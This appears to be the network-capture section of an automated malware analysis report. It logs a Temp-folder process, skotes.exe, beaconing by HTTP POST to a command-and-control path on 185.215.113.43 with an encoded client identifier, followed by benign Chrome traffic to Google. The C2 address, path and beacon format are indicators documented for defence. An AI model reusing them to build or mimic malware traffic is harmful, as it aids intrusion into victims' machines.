Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:25:35.215137959 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 21:25:36.113642931 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:25:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.4	49918	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:25:37.632189989 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 21:25:38.538501024 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:25:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	49919	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:25:40.177917004 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 21:25:41.077847958 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:25:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.4	49920	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:25:42.598490000 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 21:25:43.517077923 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:25:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.4	49921	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:25:45.161115885 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 21:25:46.079474926 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:25:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.4	49922	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:25:47.603401899 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 21:25:48.518774033 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:25:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.4	49923	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:25:50.165229082 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 21:25:51.061378002 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:25:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.4	49924	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:25:52.582623005 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 21:25:53.501301050 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:25:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

HTTPS Connections

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Nov 12, 2024 21:22:09.495790958 CET	13.107.246.45	443	192.168.2.4	49766	CN=*.azureedge.net, O=Microsoft Corporation, L=Redmond, ST=WA, C=US CN=Microsoft Azure RSA TLS Issuing CA 04, O=Microsoft Corporation, C=US CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=Microsoft Azure RSA TLS Issuing CA 04, O=Microsoft Corporation, C=US CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US	Thu Sep 19 17:30:52 CEST 2024 Thu Jun 08 02:00:00 CEST 2023 Thu Aug 01 14:00:00 CEST 2013	Sun Sep 14 17:30:52 CEST 2025 Wed Aug 26 01:59:59 CEST 2026 Fri Jan 15 13:00:00 CET 2038	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-5-10-11-13-35-16-23-65281,29-23-24,0	28a2c9bd18a11de089ef85a160da29e4
					CN=Microsoft Azure RSA TLS Issuing CA 04, O=Microsoft Corporation, C=US	CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US	Thu Jun 08 02:00:00 CEST 2023	Wed Aug 26 01:59:59 CEST 2026
					CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US	Thu Aug 01 14:00:00 CEST 2013	Fri Jan 15 13:00:00 CET 2038
Nov 12, 2024 21:22:14.400222063 CET	13.107.246.45	443	192.168.2.4	49789	CN=*.azureedge.net, O=Microsoft Corporation, L=Redmond, ST=WA, C=US CN=Microsoft Azure RSA TLS Issuing CA 04, O=Microsoft Corporation, C=US CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=Microsoft Azure RSA TLS Issuing CA 04, O=Microsoft Corporation, C=US CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US	Thu Sep 19 17:30:52 CEST 2024 Thu Jun 08 02:00:00 CEST 2023 Thu Aug 01 14:00:00 CEST 2013	Sun Sep 14 17:30:52 CEST 2025 Wed Aug 26 01:59:59 CEST 2026 Fri Jan 15 13:00:00 CET 2038	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-5-10-11-13-35-16-23-65281,29-23-24,0	28a2c9bd18a11de089ef85a160da29e4
					CN=Microsoft Azure RSA TLS Issuing CA 04, O=Microsoft Corporation, C=US	CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US	Thu Jun 08 02:00:00 CEST 2023	Wed Aug 26 01:59:59 CEST 2026
					CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US	Thu Aug 01 14:00:00 CEST 2013	Fri Jan 15 13:00:00 CET 2038

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49739	142.250.185.68	443	7908	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 20:21:24 UTC	615	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCJDKzQEIucrNAQii0c0BCIrTzQEIntbNAQin2M0BCPnA1BUY9snNARi60s0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-12 20:21:25 UTC	1266	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:21:24 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-i6XYyMT4a9znY3pKY6mvKQ' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-12 20:21:25 UTC	112	IN	Data Raw: 31 33 34 64 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 6b 69 6e 67 64 61 20 6b 61 20 72 6f 6c 6c 65 72 20 63 6f 61 73 74 65 72 22 2c 22 6f 73 63 6f 64 61 20 6d 69 63 68 69 67 61 6e 20 66 65 6d 61 20 73 74 61 67 69 6e 67 20 61 72 65 61 22 2c 22 6e 66 6c 20 70 6f 77 65 72 20 72 61 6e 6b 69 6e 67 73 20 77 65 65 6b 20 31 31 22 2c 22 63 6f 64 Data Ascii: 134d)]}'["",["kingda ka roller coaster","oscoda michigan fema staging area","nfl power rankings week 11","cod
2024-11-12 20:21:25 UTC	1378	IN	Data Raw: 20 77 61 72 7a 6f 6e 65 20 62 6c 61 63 6b 20 6f 70 73 20 36 22 2c 22 61 73 74 65 72 6f 69 64 20 61 70 70 72 6f 61 63 68 69 6e 67 20 65 61 72 74 68 22 2c 22 64 69 73 6e 65 79 20 64 65 61 64 70 6f 6f 6c 20 77 6f 6c 76 65 72 69 6e 65 22 2c 22 6d 61 78 78 20 63 72 6f 73 62 79 22 2c 22 34 33 20 6d 6f 6e 6b 65 79 73 20 65 73 63 61 70 65 64 20 73 6f 75 74 68 20 63 61 72 6f 6c 69 6e 61 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 Data Ascii: warzone black ops 6","asteroid approaching earth","disney deadpool wolverine","maxx crosby","43 monkeys escaped south carolina"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2Vh
2024-11-12 20:21:25 UTC	1378	IN	Data Raw: 52 4e 32 52 4a 56 44 49 76 64 6d 77 77 64 57 77 76 54 6b 73 77 52 6d 64 58 55 6d 70 6f 57 6d 78 78 54 48 64 56 56 46 6b 72 61 32 56 54 52 47 64 4b 5a 30 56 53 52 47 4a 74 62 57 35 53 57 54 46 34 4d 6a 67 34 4b 32 34 32 4c 32 34 33 4e 6e 4e 6f 54 48 4e 76 64 32 67 32 56 32 68 50 61 55 78 42 63 7a 41 34 65 69 74 43 4d 47 39 4b 54 47 4e 30 4e 55 4e 6e 52 6c 46 77 4d 33 56 79 65 48 6c 4a 54 46 68 77 4b 33 51 78 54 47 4a 42 57 6d 73 35 63 55 63 30 56 7a 42 76 54 7a 4e 4e 57 56 70 54 63 33 6c 45 61 57 56 4f 63 31 5a 30 62 46 51 72 64 58 6c 68 56 58 6f 77 4f 56 4a 51 65 6e 49 34 4f 57 68 5a 4d 6c 42 71 64 69 74 6a 59 6d 31 36 52 57 46 31 59 32 78 36 55 57 6c 46 51 55 46 42 51 55 46 54 56 56 5a 50 55 6b 73 31 51 31 6c 4a 53 54 30 36 46 32 4e 76 5a 43 42 33 59 58 Data Ascii: RN2RJVDIvdmwwdWwvTkswRmdXUmpoWmxxTHdVVFkra2VTRGdKZ0VSRGJtbW5SWTF4Mjg4K242L243NnNoTHNvd2g2V2hPaUxBczA4eitCMG9KTGN0NUNnRlFwM3VyeHlJTFhwK3QxTGJBWms5cUc0VzBvTzNNWVpTc3lEaWVOc1Z0bFQrdXlhVXowOVJQenI4OWhZMlBqditjYm16RWF1Y2x6UWlFQUFBQUFTVVZPUks1Q1lJST06F2NvZCB3YX
2024-11-12 20:21:25 UTC	1378	IN	Data Raw: 42 4e 48 49 32 51 56 41 79 51 32 74 71 4b 30 74 45 64 6d 5a 44 52 33 42 52 51 54 56 30 4e 44 64 6f 5a 54 68 53 65 57 4e 6d 51 54 52 4f 51 30 31 70 62 6e 70 45 54 30 70 34 4e 47 35 51 61 55 63 32 64 57 52 50 62 47 6c 75 63 33 42 34 53 6d 46 36 63 55 4e 4e 52 57 35 35 4d 69 73 33 62 6a 6c 32 4e 6e 6c 77 4c 33 6c 50 4c 79 73 34 55 48 70 78 55 6a 64 68 5a 45 6c 59 63 32 35 68 57 6b 55 31 4b 33 70 35 4e 55 68 44 5a 57 68 42 55 45 77 72 4e 6c 4a 71 5a 57 70 73 59 33 4d 77 4d 32 67 7a 56 58 4a 6b 64 47 39 51 54 6a 4d 79 51 32 35 75 56 57 74 49 61 48 5a 56 4d 6c 46 35 4d 30 56 68 53 7a 68 76 65 6b 70 6a 52 6a 46 61 52 54 64 4d 4e 33 42 50 59 32 4e 7a 52 48 52 57 64 31 59 31 54 48 56 4f 4e 31 6c 31 56 6a 68 34 55 33 42 6b 5a 57 46 71 63 56 49 32 4e 48 70 53 52 32 Data Ascii: BNHI2QVAyQ2tqK0tEdmZDR3BRQTV0NDdoZThSeWNmQTROQ01pbnpET0p4NG5QaUc2dWRPbGluc3B4SmF6cUNNRW55Mis3bjl2NnlwL3lPLys4UHpxUjdhZElYc25hWkU1K3p5NUhDZWhBUEwrNlJqZWpsY3MwM2gzVXJkdG9QTjMyQ25uVWtIaHZVMlF5M0VhSzhvekpjRjFaRTdMN3BPY2NzRHRWd1Y1THVON1l1Vjh4U3BkZWFqcVI2NHpSR2
2024-11-12 20:21:25 UTC	703	IN	Data Raw: 58 4d 35 54 6a 41 78 4d 55 68 34 63 55 39 48 5a 46 4a 33 64 46 56 73 63 47 56 7a 61 6a 64 7a 56 6b 6b 32 64 47 35 68 62 46 64 34 52 30 35 4d 62 48 46 59 65 6c 5a 61 62 46 64 53 55 45 6c 61 64 6b 31 45 51 57 64 6e 4e 32 70 73 55 6a 68 35 65 45 78 77 4e 6e 6f 7a 56 30 70 48 51 6e 6c 44 65 48 6c 52 5a 57 39 47 56 57 56 4d 56 30 64 45 53 33 70 7a 56 7a 4d 31 4e 44 4d 72 64 48 46 4f 4d 56 52 58 62 55 39 75 63 6b 64 45 62 6b 6c 4a 64 31 52 6e 62 6a 5a 47 56 6a 64 59 53 6a 4a 35 64 33 56 76 52 6e 68 69 63 53 74 30 62 56 63 35 5a 56 4e 53 61 55 39 4b 61 6d 6c 31 56 48 4a 59 62 6c 46 48 54 30 31 73 62 55 6c 34 61 6b 5a 4d 57 6d 78 46 4b 32 35 31 56 56 68 6b 52 30 52 45 64 6d 6f 32 54 6c 45 32 57 55 70 58 64 55 56 71 61 47 70 4d 64 58 68 33 51 57 39 36 56 32 64 43 Data Ascii: XM5TjAxMUh4cU9HZFJ3dFVscGVzajdzVkk2dG5hbFd4R05MbHFYelZabFdSUEladk1EQWdnN2psUjh5eExwNnozV0pHQnlDeHlRZW9GVWVMV0dES3pzVzM1NDMrdHFOMVRXbU9uckdEbklJd1RnbjZGVjdYSjJ5d3VvRnhicSt0bVc5ZVNSaU9Kaml1VHJYblFHT01sbUl4akZMWmxFK251VVhkR0REdmo2TlE2WUpXdUVqaGpMdXh3QW96V2dC
2024-11-12 20:21:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49741	142.250.185.68	443	7908	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 20:21:25 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49740	142.250.185.68	443	7908	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 20:21:25 UTC	518	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCJDKzQEIucrNAQii0c0BCIrTzQEIntbNAQin2M0BCPnA1BUY9snNARi60s0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-12 20:21:25 UTC	1042	IN	HTTP/1.1 200 OK Version: 694010790 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 12 Nov 2024 20:21:25 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-12 20:21:25 UTC	336	IN	Data Raw: 32 38 65 61 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 28ea)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-12 20:21:25 UTC	1378	IN	Data Raw: 20 67 62 5f 6f 64 20 67 62 5f 46 64 20 67 62 5f 6c 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 Data Ascii: gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u00
